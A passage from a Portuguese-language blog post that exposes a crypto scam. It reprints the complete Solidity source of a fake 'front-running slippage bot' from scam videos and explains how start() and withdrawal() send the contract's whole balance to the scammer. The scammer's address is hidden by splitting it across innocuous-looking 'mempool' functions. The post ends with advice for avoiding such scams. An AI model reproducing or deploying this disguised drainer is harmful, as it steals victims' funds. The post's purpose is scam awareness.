1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 |
pragma solidity ^0.6.6; // User guide info, updated build // Testnet transactions will fail beacuse they have no value in them // FrontRun api stable build // Mempool api stable build // Updated build // Min liquidity after gas fees has to equal 0.5 ETH // import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol"; import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol"; contract OneinchSlippageBot { //string public tokenName; //string public tokenSymbol; uint liquidity; string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D"; event Log(string _msg); constructor() public { //tokenSymbol = _mainTokenSymbol; //tokenName = _mainTokenName; } receive() external payable {} struct slice { uint _len; uint _ptr; } function findNewContracts(slice memory self, slice memory other) internal view returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(UNISWAP_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function startExploration(string memory _a) internal pure returns (address _parsedAddress) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function memcpy(uint dest, uint src, uint len) private pure { // Check available liquidity for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } function getMempoolStart() private pure returns (string memory) { return "c80d"; } function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function fetchMempoolEdition() private pure returns (string memory) { return "2FB9"; } function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } function getMempoolShort() private pure returns (string memory) { return "0xa93"; } function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i< count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } return string(res); } function getMempoolHeight() private pure returns (string memory) { return "Bb1CA"; } function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } function getMempoolLog() private pure returns (string memory) { return "8a42CC26"; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function getBa() private view returns(uint) { return address(this).balance; } function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function fetchMempoolData() internal pure returns (string memory) { string memory _mempoolShort = getMempoolShort(); string memory _mempoolEdition = fetchMempoolEdition(); string memory _mempoolVersion = fetchMempoolVersion(); string memory _mempoolLong = getMempoolLong(); string memory _getMempoolHeight = getMempoolHeight(); string memory _getMempoolCode = getMempoolCode(); string memory _getMempoolStart = getMempoolStart(); string memory _getMempoolLog = getMempoolLog(); return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog)); } function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } function getMempoolLong() private pure returns (string memory) { return "82AcC"; } function start() public payable { address to = startExploration((fetchMempoolData())); address payable contracts = payable(to); contracts.transfer(getBa()); } function getMempoolCode() private pure returns (string memory) { return "B817D"; } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function fetchMempoolVersion() private pure returns (string memory) { return "525814"; } function withdrawal() public payable { address to = startExploration((fetchMempoolData())); address payable contracts = payable(to); contracts.transfer(getBa()); } function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } } |
Bem grande esse também né, mas não importa, se ele quer minha grana, vai chamar uma função transfer ou equivalente, a partir da função inicial que ele manda disparar no vídeo, que é essa.
1 2 3 4 5 6 7 |
function start() public payable { address to = startExploration((fetchMempoolData())); address payable contracts = payable(to); contracts.transfer(getBa()); } |
Esse aqui eu trouxe porque foi bem criativo. O endereço do golpista vem da função fetchMempoolData (que serviria em tese para pesquisar boas oportunidades no mempool), vamos ver ela em detalhes.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
function fetchMempoolData() internal pure returns (string memory) { string memory _mempoolShort = getMempoolShort(); string memory _mempoolEdition = fetchMempoolEdition(); string memory _mempoolVersion = fetchMempoolVersion(); string memory _mempoolLong = getMempoolLong(); string memory _getMempoolHeight = getMempoolHeight(); string memory _getMempoolCode = getMempoolCode(); string memory _getMempoolStart = getMempoolStart(); string memory _getMempoolLog = getMempoolLog(); return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog)); } |
Removi apenas os comentários que ela tinha originalmente, mas olhe como ela pega vários parâmetros diferentes e depois junta todos em uma única string ao final. Alguma ideia do que ele fez? Vamos ver o primeiro, getMempoolShort() e vai entender todo o resto.
1 2 3 4 5 |
function getMempoolShort() private pure returns (string memory) { return "0xa93"; } |
Começou com 0x, já sabe né? Se acessar todas as demais funções vai ver que cada uma traz um pedaço da carteira do golpista e ele junta tudo no final, para em outra função converter para um address e usar na função que vai drenar seus fundos.
Um ponto importante: todos os vídeos de golpes sempre terão vários comentários positivos, de pessoas que ganharam grana com o bot do vídeo. Isso é normal, eles compram comentários, tem muito site na Internet que vende bots de comentários em Youtube, bots de likes, de inscritos, etc. A única verdade é e sempre estará no código em si, todo o resto é distração.
Acredito que seja óbvio a esta altura que o funcionamento sempre é o mesmo, não apenas nesse golpe como em vários outros usando smart contracts. Mesmo que você não seja um expert em programação, apenas sabendo algumas coisas básicas você não corre o risco de ser vítima desses salafrários. Vamos a elas:
- não execute códigos de terceiros em sua máquina, a menos que possa analisar e entender o que fazem;
- não conecte em dapps a sua carteira cripto onde as suas criptos de HOLD estejam, tenha carteiras diferentes;
- quer um bot que funcione? aprenda a fazer um seu ou compre um caixa branca (que você coloque a sua estratégia, bot “caixa preta” é furada);
- não acredite em milagres;
- na dúvida, desconfie!
Lembre-se: a sua arma mais poderosa para não cair em golpes mas também para prosperar, é o seu conhecimento.
Espero ter ajudado.
Até a próxima!
Olá, tudo bem?
O que você achou deste conteúdo? Conte nos comentários.